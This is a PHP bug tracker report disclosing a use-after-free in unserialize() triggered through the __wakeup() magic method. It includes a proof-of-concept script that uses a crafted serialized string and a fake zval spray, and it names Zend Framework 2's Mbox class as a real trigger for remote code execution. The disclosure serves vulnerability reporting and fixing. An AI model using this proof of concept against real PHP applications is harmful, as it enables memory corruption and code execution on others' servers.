| 
        php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login | 
  [2015-02-03 06:18 UTC] taoguangchen at icloud dot com
 Description:
------------
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
	zval retval;
	zval fname;
	if (Z_TYPE_P(rval) != IS_OBJECT) {
		return 0;
	}
	//??? TODO: resize before
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
		return 0;
	}
	ZVAL_DEREF(rval);
	if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
		zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
		BG(serialize_lock)++;
		call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);
The __wakeup() magic method lead to this problem.
The simple code:
<?php
class evilClass {
	public $name;
	function __wakeup() {
		unset($this->name);
	}
}
$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);
$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}');
for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}
var_dump($data);
?>
The unset() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits             
             | 
    |||||||||||||||||||||||||||
            
                 
                Copyright © 2001-2025 The PHP GroupAll rights reserved.  | 
        Last updated: Tue Nov 04 15:00:01 2025 UTC | 
In fact, many programs use __wakeup(), and don't need a special definition of __wakeup(), some very common operations can cause problems, like Zend Framework 2 class Mbox extends AbstractStorage { ... protected function openMboxFile($filename) { if ($this->fh) { $this->close(); } ErrorHandler::start(); $this->fh = fopen($filename, 'r'); $error = ErrorHandler::stop(); if (!$this->fh) { throw new Exception\RuntimeException('cannot open mbox file', 0, $error); } $this->filename = $filename; $this->filemtime = filemtime($this->filename); ... public function close() { ErrorHandler::start(E_WARNING); fclose($this->fh); ErrorHandler::stop(); $this->positions = array(); } ... public function __wakeup() { ErrorHandler::start(); $filemtime = filemtime($this->filename); ErrorHandler::stop(); if ($this->filemtime != $filemtime) { $this->close(); $this->openMboxFile($this->filename); } else { ErrorHandler::start(); $this->fh = fopen($this->filename, 'r'); $error = ErrorHandler::stop(); if (!$this->fh) { throw new Exception\RuntimeException('cannot open mbox file', 0, $error); } } } $this->positions, $this->filemtime and etc will be assigned, which leads to use after free vulnerability and remote code execution.